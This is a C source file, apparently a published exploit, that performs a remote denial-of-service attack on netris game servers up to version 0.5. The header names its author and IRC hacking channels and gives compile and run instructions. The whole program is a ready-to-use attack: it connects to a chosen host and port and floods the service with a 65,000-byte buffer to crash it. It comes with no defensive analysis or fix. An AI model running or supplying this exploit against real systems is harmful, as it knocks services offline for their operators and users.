/* 
 * HP-netris_DoS.c - Remote netris <= 0.5 DoS. 
 *
 *  Artur Byszko / bajkero <bajkero@security.hack.pl>
 *    #hackpl@efnet || #blackhat@ircnet
 *  
 *  % gcc -Wall -ansi -pedantic -o HP-netris_DoS HP-netris_DoS.c
 *  % ./HP-netris_DoS host [port]
 * 
 *  Greets: ducer, ^sysq, #darknet@efnet.
 * 
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>

#define PORT 9284

void usage(char *a);


int main(int argc, char *argv[])
{
  int gniazdo;
  char buff[65000];
  struct sockaddr_in sin;
  struct hostent *host;
  
  fprintf(stdout, " * Remote netris <= 0.5 DoS\n");
  fprintf(stdout, " * Artur Byszko / bajkero * #hackpl@efnet \n");
  if(argc < 2) usage(argv[0]);

  host = gethostbyname(argv[1]);
  if(!host) {
    herror("gethostbyname()");
    exit(EXIT_FAILURE);
  }
  
  gniazdo = socket(AF_INET, SOCK_STREAM, 0);
  if(!gniazdo) 
  {
    perror("socket()");
    exit(EXIT_FAILURE);
  }
  bzero(&sin, sizeof(sin));
  bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
  sin.sin_family = AF_INET;
  if(argv[2]) {
    sin.sin_port = htons(atoi(argv[2]));
  }
  else {
    sin.sin_port = htons(PORT);
  }
  if((connect(gniazdo, (struct sockaddr *)&sin, sizeof(sin))) < 0)
  {
    perror("connect()");
    exit(EXIT_FAILURE);
  }
  memset(buff, 'a', sizeof(buff));
  printf("-> Sending buff.. \n");
  write(gniazdo, buff, sizeof(buff));
  close(gniazdo);
  printf("-> Done..\n");
  return(0);
}

void usage(char *a)
{
  printf("Usage: %s host [port]\n", a);
  exit(EXIT_FAILURE);
}